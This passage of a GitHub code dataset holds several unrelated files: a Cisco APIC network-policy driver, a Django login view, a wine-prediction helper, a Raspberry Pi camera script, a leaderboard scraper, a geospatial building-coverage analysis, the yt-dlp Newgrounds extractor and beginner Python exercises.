% es['id'])\n return\n ip = external_segments[es['id']]\n ip = ip[0] if (ip and ip[0]) else ext_info.get('cidr_exposed',\n '/').split('/')[0]\n if not ip:\n raise NoAddressConfiguredOnExternalSegment(\n l3p_id=context.current['id'], es_id=es['id'])\n context.set_external_fixed_ips(es['id'], [ip])\n encap = ext_info.get('encap') # No encap if None\n switch = ext_info['switch']\n module, sport = ext_info['port'].split('/')\n router_id = ext_info['router_id']\n default_gateway = ext_info['gateway_ip']\n es_name = self.name_mapper.external_segment(\n context, es['id'])\n es_tenant = self._tenant_by_sharing_policy(es)\n with self.apic_manager.apic.transaction() as trs:\n # Create External Routed Network connected to the proper\n # L3 Context\n self.apic_manager.ensure_external_routed_network_created(\n es_name, owner=es_tenant, context=l3_policy,\n transaction=trs)\n self.apic_manager.ensure_logical_node_profile_created(\n es_name, switch, module, sport, encap,\n ip, owner=es_tenant, router_id=router_id,\n transaction=trs)\n for route in es['external_routes']:\n self.apic_manager.ensure_static_route_created(\n es_name, switch, route['nexthop'] or default_gateway,\n owner=es_tenant,\n subnet=route['destination'], transaction=trs)\n\n def _unplug_l3p_from_es(self, context, es):\n es_name = self.name_mapper.external_segment(context, es['id'])\n es_tenant = self._tenant_by_sharing_policy(es)\n self.apic_manager.delete_external_routed_network(\n es_name, owner=es_tenant)\n\n def _build_routes_dict(self, routes):\n result = {}\n for route in routes:\n if route['destination'] not in result:\n result[route['destination']] = []\n result[route['destination']].append(route['nexthop'])\n return result\n\n def _plug_externa_policy_to_segment(self, context, ep, segments,\n provided_prs, consumed_prs):\n if segments:\n added_ess = context._plugin.get_external_segments(\n context._plugin_context, filters={'id': segments})\n ep_name = self.name_mapper.external_policy(\n context, ep['id'])\n for es in added_ess:\n ext_info = self.apic_manager.ext_net_dict.get(es['name'])\n if not ext_info:\n LOG.warn(_(\"External Segment %s is not managed by APIC \"\n \"mapping driver.\") % es['id'])\n continue\n es_name = self.name_mapper.external_segment(context, es['id'])\n es_tenant = self._tenant_by_sharing_policy(es)\n with self.apic_manager.apic.transaction() as trs:\n # Create External EPG\n subnets = set(x['destination'] for\n x in es['external_routes'])\n for s in subnets:\n self.apic_manager.ensure_external_epg_created(\n es_name, subnet=s, external_epg=ep_name,\n owner=es_tenant, transaction=trs)\n # Provide and consume contracts\n self._manage_ep_policy_rule_sets(\n context._plugin_context, es, ep,\n provided_prs, consumed_prs, [], [], transaction=trs)\n\n def _unplug_external_policy_from_segment(self, context, ep, segments):\n if segments:\n added_ess = context._plugin.get_external_segments(\n context._plugin_context, filters={'id': segments})\n ep_name = self.name_mapper.external_policy(\n context, ep['id'])\n for es in added_ess:\n ext_info = self.apic_manager.ext_net_dict.get(es['name'])\n if not ext_info:\n LOG.warn(_(\"External Segment %s is not managed by APIC \"\n \"mapping driver.\") % es['id'])\n continue\n es_name = self.name_mapper.external_segment(context, es['id'])\n es_tenant = self._tenant_by_sharing_policy(es)\n self.apic_manager.ensure_external_epg_deleted(\n es_name, external_epg=ep_name, owner=es_tenant)\n\n def _check_l3p_es(self, context):\n l3p = context.current\n if l3p['external_segments']:\n # Check not used\n ess = context._plugin.get_external_segments(\n context._plugin_context,\n filters={'id': l3p['external_segments'].keys()})\n for es in ess:\n if [x for x in es['l3_policies'] if x != l3p['id']]:\n raise OnlyOneL3PolicyIsAllowedPerExternalSegment()\n for allocations in l3p['external_segments'].values():\n if len(allocations) > 1:\n raise OnlyOneAddressIsAllowedPerExternalSegment()\n\n def _get_ptg_by_subnet(self, plugin_context, subnet_id):\n ptgass = (plugin_context.session.query(gpdb.PTGToSubnetAssociation).\n filter_by(subnet_id=subnet_id).first())\n if ptgass:\n return self.gbp_plugin.get_policy_target_group(\n plugin_context, ptgass['policy_target_group_id'])\n\n def _reject_shared_update(self, context, type):\n if context.original.get('shared') != context.current.get('shared'):\n raise SharedAttributeUpdateNotSupportedOnApic(type=type)\n\n def _tenant_by_sharing_policy(self, object):\n if not object.get('shared'):\n return self.name_mapper.tenant(None, object['tenant_id'])\n else:\n return apic_manager.TENANT_COMMON\n","repo_name":"rukansari/group-based-policy","sub_path":"gbpservice/neutron/services/grouppolicy/drivers/cisco/apic/apic_mapping.py","file_name":"apic_mapping.py","file_ext":"py","file_size_in_byte":50215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"} +{"seq_id":"39050718664","text":"from django.views import View\nfrom ..responses import *\nfrom ..models import User\nfrom ..utils import decode_jwt, send_json, encode_jwt\nfrom django.contrib.auth import authenticate\n\nclass LoginView(View):\n def post(self, request):\n session = request.session\n if 'JWT_TOKEN' in session:\n prev_dic = decode_jwt(session)\n else:\n prev_dic = {}\n if 'userid' in prev_dic:\n return send_json(userAlreadyLogin)\n if 'username' not in request.POST or 'password' not in request.POST:\n return send_json(illegalArgument)\n user = authenticate(username=request.POST['username'], password=request.POST['password'])\n if user is None:\n return send_json(userDoesNotMatch)\n encoded = encode_jwt({**prev_dic, 'userid': user.pk})\n session['JWT_TOKEN'] = encoded\n data = userLogin\n return send_json(data)\n\n def get(self, request):\n session = request.session\n if 'JWT_TOKEN' in session:\n prev_dic = decode_jwt(session)\n else:\n prev_dic = {}\n if 'userid' in prev_dic:\n user = User.objects.filter(pk=prev_dic['userid'])\n if len(user) == 0:\n data = userDoesNotExist\n return send_json(data)\n user = user[0]\n data = userAlreadyLogin\n # 프론트 요청으로 userid 암호화하지 않고 넘김\n data['userid'] = user.id\n data['username'] = user.username\n data['nickname'] = user.nickname\n return send_json(data)\n else:\n data = loginRequired\n return send_json(data)\n","repo_name":"DPS0340/DjangoCRUDBoard","sub_path":"board/views/login.py","file_name":"login.py","file_ext":"py","file_size_in_byte":1679,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"78"} +{"seq_id":"23365796721","text":"import numpy as np\nimport json\nimport pickle\n\nclass wineprediction():\n \n def __init__(self,data):\n self.data= data\n print(self.data)\n \n def __loading(self):\n \n \"\"\" This is fuction of wine_prediction model \"\"\"\n \n with open('artifacts/project_data.json','r') as file:\n self.project_data = json.load(file)\n\n with open('artifacts/scale.pkl','rb') as file:\n self.scaler = pickle.load(file)\n\n with open('artifacts/model.pkl','rb') as file: \n self.model = pickle.load(file)\n \n \n def get_wine_quality_prediction(self):\n \n self.__loading() \n \n fixed_acidity = self.data['html_fixed_acidity']\n volatile_acidity = self.data['html_volatile_acidity']\n citric_acid = self.data['html_citric_acid']\n residual_sugar = self.data['html_residual_sugar']\n chlorides = self.data['html_chlorides']\n free_sulfur_dioxide = self.data['html_free_sulfur_dioxide']\n total_sulfur_dioxide = self.data['html_total_sulfur_dioxide']\n density = self.data['html_density']\n pH = self.data['html_pH']\n sulphates = self.data['html_sulphates']\n alcohol = self.data['html_alcohol']\n \n user_data = np.zeros(len(self.project_data['column_name']))\n user_data[0] = fixed_acidity\n user_data[1] = volatile_acidity \n user_data[2] = citric_acid \n user_data[3] = residual_sugar \n user_data[4] = chlorides \n user_data[5] = free_sulfur_dioxide \n user_data[6] = total_sulfur_dioxide \n user_data[7] = density\n user_data[8] = pH \n user_data[9] = sulphates \n user_data[10] = alcohol \n \n input_data = np.asarray(user_data)\n input_data_reshaped = input_data.reshape(1,-1)\n \n return self.model.predict(input_data_reshaped)[0]\n \n \n ","repo_name":"rohitp045/wineprediction","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1951,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"37331639059","text":"#! /usr/bin/python\n\"\"\"\nppp.py\npeggy.pi.pic\nTake picture with Raspberry Pi camera and then display\n as 25 x 25 pixel image (16 shades) on Peggy2\n\"\"\"\n\n# http://picamera.readthedocs.org/en/release-1.9/recipes1.html#capturing-to-a-pil-image\nimport io\nimport time\nimport picamera\nfrom PIL import Image\n\n# # print function for test purposes\n# def printpxl(pxllist):\n# # # look at pixel values in 25 x 25 array\n# i = 0\n# for p in pxllist:\n# print p,\n# if i % 25 == 24:\n# print '\\n'\n# i += 1\n\ndef main():\n # Create the in-memory stream\n stream = io.BytesIO()\n with picamera.PiCamera() as camera:\n camera.hflip = True\n camera.vflip = True\n camera.start_preview()\n time.sleep(2)\n camera.capture(stream, format='bmp')\n # \"Rewind\" the stream to the beginning so we can read its content\n stream.seek(0)\n image = Image.open(stream)\n\n #crop square\n image = image.crop((280,0,1000,720))\n #convert to grey\n image = image.convert('L')\n image.thumbnail((25,25))\n pxls = list(image.getdata())\n\n ## print for test purposes\n # printpxl(pxls)\n\n # convert pixels to 16 levels from 256\n # scale the range in order to maximize contrast\n maxpxl = max(pxls)\n minpxl = min(pxls)\n deltapxl = maxpxl - minpxl\n\n for i, p in enumerate(pxls):\n scaledpxl = (pxls[i] - minpxl) * 255 / deltapxl\n pxls[i] = scaledpxl//16\n\n # #print for testing purposes\n # printpxl(pxls)\n #\n # image.putdata(pxls, scale = 16) #scale by 16 for regular display\n # # save image to file as test\n # imgout = open('/home/pi/temp.bmp', 'w')\n # image.save(imgout)\n # imgout.close()\n\nif __name__ == '__main__':\n main()\n","repo_name":"KFW/peggy.pi.pic","sub_path":"ppp.py","file_name":"ppp.py","file_ext":"py","file_size_in_byte":1742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"31622544464","text":"#-*- coding:utf-8 -*-\nfrom pyquery import PyQuery as pq\nimport datetime\nfrom main import _execute\nurl='http://tianchi.aliyun.com/competition/rankingList.htm?spm=0.0.0.0.cd6p0g&season=0&raceId=1&pageIndex=%s'\n# d=pq(url%1)\ntoday=datetime.date.today()\nfor i in range(1,26):\n d=pq(url%i)\n links=d('.list-item')\n for item in links:\n rank =int(links(item).find('.ranking p').text().encode('utf-8').split()[0])\n members = links(item).find('.member .member-box p').text().encode('utf-8')\n team = links(item).find('.team .team-box p').text().encode('utf-8')\n score = links(item).find('.score').text().encode('utf-8')\n accuracy = links(item).find('.rate-accuracy').text().encode('utf-8')\n recall = links(item).find('.rate-recall').text().encode('utf-8')\n besttime=datetime.datetime.strptime(links(item).find('.best-time').text(),'%Y-%m-%d').date()\n _execute(\"\"\"insert into rank (rank,members,team,score,accuracy,recall,besttime,currdate) values\n (\"{0}\",\"{1}\",\"{2}\",\"{3}\",\"{4}\",\"{5}\",\"{6}\",\"{7}\");\"\"\".format(rank,members,team,score,accuracy,recall,besttime,today))\n","repo_name":"justpic/board","sub_path":"getdata.py","file_name":"getdata.py","file_ext":"py","file_size_in_byte":1131,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"532417542","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Oct 3 14:35:22 2016\n\n@author: Husna\n\"\"\"\n#Homework 1 Problem 3\n#First I found the exact value of the function I[f]. \n#Next, for h=1/10, our n=10. Therefore using my code, I found the value of Th[f] \n#using that particular value of n. \n#I continued this procedure for h=1/20 with n=20. Then I found Th/2[f] using my code. \n#And lastly, for h=1/40, n=40. Then I found Th/4[f]. \n#\n#To verify if Th[f] has a convegent trend, I used the formula \n#(I[f]-Th[f])/(I[f]-Th/2[f]) and \n#(I[f]-Th/2[f])/(I[f]-Th/4[f]) and I found that the value for both of these formulas was \n#approximately 4 (see homework), which verifes that Th[f] has a convergent trend at a \n#quadratic rate.\n\n\n\n\n\nimport math\n\n\ndef f(x):\n return x*(math.e)**(x**2)\n\ndef Trap(a,b,n): \n h = float(b-a)/n\n s = .5*f(a)+.5*f(b)\n for i in range(1, n):\n s += f(a + i*h)\n return(h*s)\n \na = 0 \nb = 1\nn = 10\n\nprint(Trap(a,b,n))\n","repo_name":"hsayedi/Numerical-Analysis-Part-1","sub_path":"TrapRule_h1.2.py","file_name":"TrapRule_h1.2.py","file_ext":"py","file_size_in_byte":948,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"33777745624","text":"#! /usr/bin/env python3\n\n\"\"\"\nHartree code for N-electron 1D harmonic quantum dot\n\n- Related to FYS-4096 Computational Physics \n- Test case using simpson integrations should give:\n\n Total energy 11.502873299221452\n Kinetic energy 3.622113606711247\n Potential energy 7.880759692510205\n\n Density integral 3.9999999999999996\n\n- Job description in short (more details in the pdf-file): \n -- Problem 1: \n - Add/fill needed functions and details, e.g., search for #FILL# \n and consider whether that is needed for the specific problem.\n - Comment the code and the functions in it. Refer to lecture slides, \n that is, explain to some extent what is done in the functions\n -- Problem 2: Include input and output as text file\n - some #FILL# sections will give a hint where some input/output \n functions could be needed\n -- Problem 3: Include input and output as HDF5 file \n - some #FILL# sections will give a hint where some input/output \n functions could be needed\n\"\"\"\n\n\n\nfrom numpy import *\nfrom matplotlib.pyplot import *\nimport matplotlib.patches as mpatches\nfrom numpy.lib.polynomial import _polyfit_dispatcher\nimport scipy.sparse as sp\nimport scipy.sparse.linalg as sla\nfrom scipy.integrate import simps\nimport h5py\nimport os\n\ndef hartree_potential(ns,x):\n \"\"\" \n Hartree potential using Simpson integration \n\n Args:\n ns: Densities\n x: gridpoints\n\n Returns:\n Vhartree: Hartree potential\n \"\"\"\n\n # Initialize the potential\n Vhartree=0.0*ns\n\n # Loop through every gridpoint\n for ix in range(len(x)):\n r = x[ix]\n\n # Initialize function to be integrated\n f = 0.0*x\n\n # For every gridpoint, calculate the value of the integrand\n for ix2 in range(len(x)):\n rp = x[ix2]\n f[ix2]=ns[ix2]*ee_potential(r-rp)\n \n # Integrate using simps\n Vhartree[ix]=simps(f,x)\n return Vhartree\n\ndef ee_potential(x):\n global ee_coef\n \"\"\" 1D electron-electron interaction \"\"\"\n return ee_coef[0]/sqrt(x**2+ee_coef[1])\n\ndef ext_potential(x,m=1.0,omega=1.0):\n \"\"\" 1D harmonic quantum dot \"\"\"\n return 0.5*m*omega**2*x**2\n\ndef density(psis):\n \"\"\"\n Calculates the electron density given as\n n(x) = sum_i |psi_i(x)|^2, in other words, for every coordinate point,\n sum the psis of the (4) orbitals.\n \"\"\"\n # Convert to numpy array\n psis = np.array(psis)\n\n # sum column-wise (axis=0)\n ns = sum(np.abs(psis)**2,axis=0)\n return ns\n \ndef initialize_density(x,dx,normalization=1):\n \"\"\" Initialize the density and normalize using simps \"\"\"\n rho=exp(-x**2)\n A=simps(rho,x)\n return normalization/A*rho\n\ndef check_convergence(Vold,Vnew,threshold):\n \"\"\" Check if the potentials are within the threshold \"\"\"\n difference_ = amax(abs(Vold-Vnew))\n print(' Convergence check:', difference_)\n converged=False\n if difference_ 0:\n print(colorama.Fore.RED + 'Empty buildings file, skipping ' + city + colorama.Style.RESET_ALL)\n continue\n\n # Read the block info for this city from the file if it exists\n city_blocks_file = blocks_folder + city + '.gpkg'\n if not exists(city_blocks_file):\n print(colorama.Fore.RED + 'No blocks file, skipping ' + city + colorama.Style.RESET_ALL)\n continue\n \n # Read the city block polygons file\n city_blocks = gpd.read_file(city_blocks_file)\n\n if not len(city_blocks) > 0:\n print(colorama.Fore.RED + 'Empty blocks file, skipping ' + city + colorama.Style.RESET_ALL)\n continue\n\n print(colorama.Fore.CYAN + 'Processing ' + city + '. ' + str(count) + ' of ' + str(len(osm_names)) + colorama.Style.RESET_ALL)\n\n # Calculate the area of the city.\n city_area = sum(city_blocks['geometry'].to_crs({'proj': 'cea'}).area)\n\n # The first polygon is the buffered roads' polygon, drop it.\n city_blocks = city_blocks.drop(0, axis=0)\n \n # Count total number of blocks in the city. \n all_polygons_count = len(city_blocks)\n \n if not all_polygons_count > 0:\n print(colorama.Fore.RED + 'Skipping ' + city + '. No valid blocks available.' + colorama.Style.RESET_ALL)\n continue\n\n # Match the buildings to their respective blocks\n building_and_block_df = gpd.sjoin(buildings, city_blocks, how=\"inner\", predicate=\"intersects\")\n\n # Retain only building geometry and block ID.\n building_and_block_df = building_and_block_df[['index_right', 'geometry']]\n\n # Convert to CEA projection and calculate the area of all the buildings\n building_and_block_df['geometry'] = building_and_block_df['geometry'].to_crs({'proj': 'cea'})\n building_and_block_df['building_area'] = building_and_block_df['geometry'].area\n\n # Calculate the sum of buildings area in each block.\n all_buildings_area_per_block = building_and_block_df.groupby('index_right').building_area.apply(lambda x: x.sum(skipna=False))\n\n # Convert to CEA projection and calculate the area of each block.\n city_blocks['geometry'] = city_blocks['geometry'].to_crs({'proj': 'cea'})\n city_blocks['block_area'] = city_blocks.geometry.area\n\n # Retain only blocks that have buildings.\n city_blocks = city_blocks[city_blocks.index.isin(all_buildings_area_per_block.index)]\n\n # Calculate the percentage of blocks removed after matching with the buildings.\n valid_polygons_count = len(city_blocks)\n removed_blocks_ratio = 1 - (valid_polygons_count / all_polygons_count)\n\n # Combine the total buildings area and city blocks into one dataframe.\n city_df = pd.concat([city_blocks, all_buildings_area_per_block], axis=1)\n\n # Calculate the building coverage ratio.\n city_df['built_ratio'] = city_df['building_area'] / city_df['block_area']\n\n # Filter the built ratio extreme values.\n city_df = city_df[city_df['built_ratio'] >= 0.01]\n city_df = city_df[city_df['built_ratio'] < 1.0]\n\n # Calculate the centers of all the blocks.\n block_vertices = city_df.geometry.apply(lambda x: list(x.exterior.coords))\n\n # Calculate the circum circle areas and the shape.\n circum_circle_areas = []\n for vertices_set in block_vertices:\n circle = make_circle(vertices_set)\n area_of_circle = circle[2] * circle[2] * math.pi\n circum_circle_areas.append(area_of_circle)\n city_df['circum_circle_area'] = circum_circle_areas\n\n city_df['shape'] = city_df['block_area'] / city_df['circum_circle_area']\n\n # Bin the shapes\n bin_ranges = [0.0, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.8, 0.9, 1.0]\n bin_labels = bin_ranges[:-1]\n city_df['shape_binned'] = pd.cut(city_df['shape'], bins=bin_ranges, labels=bin_labels)\n\n # Bin the built ratio\n city_df['built_ratio_binned'] = pd.cut(city_df['built_ratio'], bins=bin_ranges, labels=bin_labels)\n\n with open(output_file, 'wb') as output_file:\n pickle.dump(city_df, output_file)\n\n # Calculate the percentage of area change after matching with the buildings.\n built_city_area = city_df['block_area'].sum()\n removed_area_ratio = 1 - (built_city_area / city_area)\n\n with open(removal_ratios_folder + city + '.pckl', 'wb') as removal_file:\n pickle.dump([removed_area_ratio, removed_blocks_ratio, built_city_area], removal_file)\n","repo_name":"nagacharan-tangirala/bcr_analysis","sub_path":"src/preprocess/calculate_bcr.py","file_name":"calculate_bcr.py","file_ext":"py","file_size_in_byte":5992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"37599993532","text":"import functools\nimport re\n\nfrom .common import InfoExtractor\nfrom ..utils import (\n clean_html,\n extract_attributes,\n get_element_by_id,\n int_or_none,\n parse_count,\n parse_duration,\n unified_timestamp,\n OnDemandPagedList,\n try_get,\n)\n\n\nclass NewgroundsIE(InfoExtractor):\n _VALID_URL = r'https?://(?:www\\.)?newgrounds\\.com/(?:audio/listen|portal/view)/(?P\\d+)(?:/format/flash)?'\n _TESTS = [{\n 'url': 'https://www.newgrounds.com/audio/listen/549479',\n 'md5': 'fe6033d297591288fa1c1f780386f07a',\n 'info_dict': {\n 'id': '549479',\n 'ext': 'mp3',\n 'title': 'B7 - BusMode',\n 'uploader': 'Burn7',\n 'timestamp': 1378878540,\n 'upload_date': '20130911',\n 'duration': 143,\n 'view_count': int,\n 'description': 'md5:b8b3c2958875189f07d8e313462e8c4f',\n },\n }, {\n 'url': 'https://www.newgrounds.com/portal/view/1',\n 'md5': 'fbfb40e2dc765a7e830cb251d370d981',\n 'info_dict': {\n 'id': '1',\n 'ext': 'mp4',\n 'title': 'Scrotum 1',\n 'uploader': 'Brian-Beaton',\n 'timestamp': 955064100,\n 'upload_date': '20000406',\n 'view_count': int,\n 'description': 'Scrotum plays \"catch.\"',\n 'age_limit': 17,\n },\n }, {\n # source format unavailable, additional mp4 formats\n 'url': 'http://www.newgrounds.com/portal/view/689400',\n 'info_dict': {\n 'id': '689400',\n 'ext': 'mp4',\n 'title': 'ZTV News Episode 8',\n 'uploader': 'ZONE-SAMA',\n 'timestamp': 1487965140,\n 'upload_date': '20170224',\n 'view_count': int,\n 'description': 'md5:aff9b330ec2e78ed93b1ad6d017accc6',\n 'age_limit': 17,\n },\n 'params': {\n 'skip_download': True,\n },\n }, {\n 'url': 'https://www.newgrounds.com/portal/view/297383',\n 'md5': '2c11f5fd8cb6b433a63c89ba3141436c',\n 'info_dict': {\n 'id': '297383',\n 'ext': 'mp4',\n 'title': 'Metal Gear Awesome',\n 'uploader': 'Egoraptor',\n 'timestamp': 1140663240,\n 'upload_date': '20060223',\n 'view_count': int,\n 'description': 'md5:9246c181614e23754571995104da92e0',\n 'age_limit': 13,\n }\n }, {\n 'url': 'https://www.newgrounds.com/portal/view/297383/format/flash',\n 'md5': '5d05585a9a0caca059f5abfbd3865524',\n 'info_dict': {\n 'id': '297383',\n 'ext': 'swf',\n 'title': 'Metal Gear Awesome',\n 'description': 'Metal Gear Awesome',\n 'uploader': 'Egoraptor',\n 'upload_date': '20060223',\n 'timestamp': 1140663240,\n 'age_limit': 13,\n }\n }]\n _AGE_LIMIT = {\n 'e': 0,\n 't': 13,\n 'm': 17,\n 'a': 18,\n }\n\n def _real_extract(self, url):\n media_id = self._match_id(url)\n formats = []\n uploader = None\n webpage = self._download_webpage(url, media_id)\n\n title = self._html_extract_title(webpage)\n\n media_url_string = self._search_regex(\n r'\"url\"\\s*:\\s*(\"[^\"]+\"),', webpage, 'media url', default=None)\n\n if media_url_string:\n media_url = self._parse_json(media_url_string, media_id)\n formats = [{\n 'url': media_url,\n 'format_id': 'source',\n 'quality': 1,\n }]\n else:\n json_video = self._download_json('https://www.newgrounds.com/portal/video/' + media_id, media_id, headers={\n 'Accept': 'application/json',\n 'Referer': url,\n 'X-Requested-With': 'XMLHttpRequest'\n })\n\n uploader = json_video.get('author')\n media_formats = json_video.get('sources', [])\n for media_format in media_formats:\n media_sources = media_formats[media_format]\n for source in media_sources:\n formats.append({\n 'format_id': media_format,\n 'quality': int_or_none(media_format[:-1]),\n 'url': source.get('src')\n })\n\n if not uploader:\n uploader = self._html_search_regex(\n (r'(?s)]*>(.+?).*?\\s*(?:Author|Artist)\\s*',\n r'(?:Author|Writer)\\s*]+>([^<]+)'), webpage, 'uploader',\n fatal=False)\n\n age_limit = self._html_search_regex(\n r']+>', webpage, 'age_limit', default='e')\n age_limit = self._AGE_LIMIT.get(age_limit)\n\n timestamp = unified_timestamp(self._html_search_regex(\n (r'
\\s*Uploaded\\s*
\\s*
([^<]+
\\s*
[^<]+)',\n r'
\\s*Uploaded\\s*
\\s*
([^<]+)'), webpage, 'timestamp',\n default=None))\n\n duration = parse_duration(self._html_search_regex(\n r'\"duration\"\\s*:\\s*[\"\\']?(\\d+)[\"\\']?', webpage,\n 'duration', default=None))\n\n description = clean_html(get_element_by_id('author_comments', webpage)) or self._og_search_description(webpage)\n\n view_count = parse_count(self._html_search_regex(\n r'(?s)
\\s*(?:Views|Listens)\\s*
\\s*
([\\d\\.,]+)
', webpage,\n 'view count', default=None))\n\n filesize = int_or_none(self._html_search_regex(\n r'\"filesize\"\\s*:\\s*[\"\\']?([\\d]+)[\"\\']?,', webpage, 'filesize',\n default=None))\n\n video_type_description = self._html_search_regex(\n r'\"description\"\\s*:\\s*[\"\\']?([^\"\\']+)[\"\\']?,', webpage, 'filesize',\n default=None)\n\n if len(formats) == 1:\n formats[0]['filesize'] = filesize\n\n if video_type_description == 'Audio File':\n formats[0]['vcodec'] = 'none'\n self._check_formats(formats, media_id)\n\n return {\n 'id': media_id,\n 'title': title,\n 'uploader': uploader,\n 'timestamp': timestamp,\n 'duration': duration,\n 'formats': formats,\n 'thumbnail': self._og_search_thumbnail(webpage),\n 'description': description,\n 'age_limit': age_limit,\n 'view_count': view_count,\n }\n\n\nclass NewgroundsPlaylistIE(InfoExtractor):\n IE_NAME = 'Newgrounds:playlist'\n _VALID_URL = r'https?://(?:www\\.)?newgrounds\\.com/(?:collection|[^/]+/search/[^/]+)/(?P[^/?#&]+)'\n _TESTS = [{\n 'url': 'https://www.newgrounds.com/collection/cats',\n 'info_dict': {\n 'id': 'cats',\n 'title': 'Cats',\n },\n 'playlist_mincount': 45,\n }, {\n 'url': 'https://www.newgrounds.com/collection/dogs',\n 'info_dict': {\n 'id': 'dogs',\n 'title': 'Dogs',\n },\n 'playlist_mincount': 26,\n }, {\n 'url': 'http://www.newgrounds.com/audio/search/title/cats',\n 'only_matching': True,\n }]\n\n def _real_extract(self, url):\n playlist_id = self._match_id(url)\n\n webpage = self._download_webpage(url, playlist_id)\n\n title = self._html_extract_title(webpage, default=None)\n\n # cut left menu\n webpage = self._search_regex(\n r'(?s)]+\\bclass=[\"\\']column wide(.+)',\n webpage, 'wide column', default=webpage)\n\n entries = []\n for a, path, media_id in re.findall(\n r'(]+\\bhref=[\"\\'][^\"\\']+((?:portal/view|audio/listen)/(\\d+))[^>]+>)',\n webpage):\n a_class = extract_attributes(a).get('class')\n if a_class not in ('item-portalsubmission', 'item-audiosubmission'):\n continue\n entries.append(\n self.url_result(\n f'https://www.newgrounds.com/{path}',\n ie=NewgroundsIE.ie_key(), video_id=media_id))\n\n return self.playlist_result(entries, playlist_id, title)\n\n\nclass NewgroundsUserIE(InfoExtractor):\n IE_NAME = 'Newgrounds:user'\n _VALID_URL = r'https?://(?P[^\\.]+)\\.newgrounds\\.com/(?:movies|audio)/?(?:[#?]|$)'\n _TESTS = [{\n 'url': 'https://burn7.newgrounds.com/audio',\n 'info_dict': {\n 'id': 'burn7',\n },\n 'playlist_mincount': 150,\n }, {\n 'url': 'https://burn7.newgrounds.com/movies',\n 'info_dict': {\n 'id': 'burn7',\n },\n 'playlist_mincount': 2,\n }, {\n 'url': 'https://brian-beaton.newgrounds.com/movies',\n 'info_dict': {\n 'id': 'brian-beaton',\n },\n 'playlist_mincount': 10,\n }]\n _PAGE_SIZE = 30\n\n def _fetch_page(self, channel_id, url, page):\n page += 1\n posts_info = self._download_json(\n f'{url}/page/{page}', channel_id,\n note=f'Downloading page {page}', headers={\n 'Accept': 'application/json, text/javascript, */*; q = 0.01',\n 'X-Requested-With': 'XMLHttpRequest',\n })\n sequence = posts_info.get('sequence', [])\n for year in sequence:\n posts = try_get(posts_info, lambda x: x['years'][str(year)]['items'])\n for post in posts:\n path, media_id = self._search_regex(\n r']+\\bhref=[\"\\'][^\"\\']+((?:portal/view|audio/listen)/(\\d+))[^>]+>',\n post, 'url', group=(1, 2))\n yield self.url_result(f'https://www.newgrounds.com/{path}', NewgroundsIE.ie_key(), media_id)\n\n def _real_extract(self, url):\n channel_id = self._match_id(url)\n\n entries = OnDemandPagedList(functools.partial(\n self._fetch_page, channel_id, url), self._PAGE_SIZE)\n\n return self.playlist_result(entries, channel_id)\n","repo_name":"yt-dlp/yt-dlp","sub_path":"yt_dlp/extractor/newgrounds.py","file_name":"newgrounds.py","file_ext":"py","file_size_in_byte":9899,"program_lang":"python","lang":"en","doc_type":"code","stars":60520,"dataset":"github-code","pt":"78"} +{"seq_id":"36978202648","text":"from typing import Any, Dict, List, Type, TypeVar, Union\n\nimport attr\n\nfrom ..types import UNSET, Unset\n\nT = TypeVar(\"T\", bound=\"DataTransferRequest\")\n\n\n@attr.s(auto_attribs=True)\nclass DataTransferRequest:\n \"\"\"\n Attributes:\n vendor_id (str):\n message_id (Union[Unset, str]):\n data (Union[Unset, str]):\n \"\"\"\n\n vendor_id: str\n message_id: Union[Unset, str] = UNSET\n data: Union[Unset, str] = UNSET\n additional_properties: Dict[str, Any] = attr.ib(init=False, factory=dict)\n\n def to_dict(self) -> Dict[str, Any]:\n vendor_id = self.vendor_id\n message_id = self.message_id\n data = self.data\n\n field_dict: Dict[str, Any] = {}\n field_dict.update(self.additional_properties)\n field_dict.update(\n {\n \"vendorId\": vendor_id,\n }\n )\n if message_id is not UNSET:\n field_dict[\"messageId\"] = message_id\n if data is not UNSET:\n field_dict[\"data\"] = data\n\n return field_dict\n\n @classmethod\n def from_dict(cls: Type[T], src_dict: Dict[str, Any]) -> T:\n d = src_dict.copy()\n vendor_id = d.pop(\"vendorId\")\n\n message_id = d.pop(\"messageId\", UNSET)\n\n data = d.pop(\"data\", UNSET)\n\n data_transfer_request = cls(\n vendor_id=vendor_id,\n message_id=message_id,\n data=data,\n )\n\n data_transfer_request.additional_properties = d\n return data_transfer_request\n\n @property\n def additional_keys(self) -> List[str]:\n return list(self.additional_properties.keys())\n\n def __getitem__(self, key: str) -> Any:\n return self.additional_properties[key]\n\n def __setitem__(self, key: str, value: Any) -> None:\n self.additional_properties[key] = value\n\n def __delitem__(self, key: str) -> None:\n del self.additional_properties[key]\n\n def __contains__(self, key: str) -> bool:\n return key in self.additional_properties\n","repo_name":"gaia-green-tech/longship-api-client","sub_path":"longship_api_client/models/data_transfer_request.py","file_name":"data_transfer_request.py","file_ext":"py","file_size_in_byte":1996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"17527288847","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# ## Q1.\tWrite a Python program to convert kilometers to miles?\n\n# In[8]:\n\n\ndef kms_to_miles(kms):\n if kms>0:\n miles=kms/1.60934\n return miles\nkms_to_miles(10)\n\n\n# ## Q2.\tWrite a Python program to convert Celsius to Fahrenheit?\n\n# In[11]:\n\n\ndef Cel_to_Fah(cel):\n fah=(9/5*cel)+32\n return fah\nCel_to_Fah(-10)\n\n\n# ## Q3.\tWrite a Python program to display calendar?\n\n# In[17]:\n\n\nimport calendar\ndef calendar_of_year(year):\n print(calendar.calendar(year))\n\n\n# In[20]:\n\n\ncalendar_of_year(2024)\n\n\n# ## Q4.\tWrite a Python program to solve 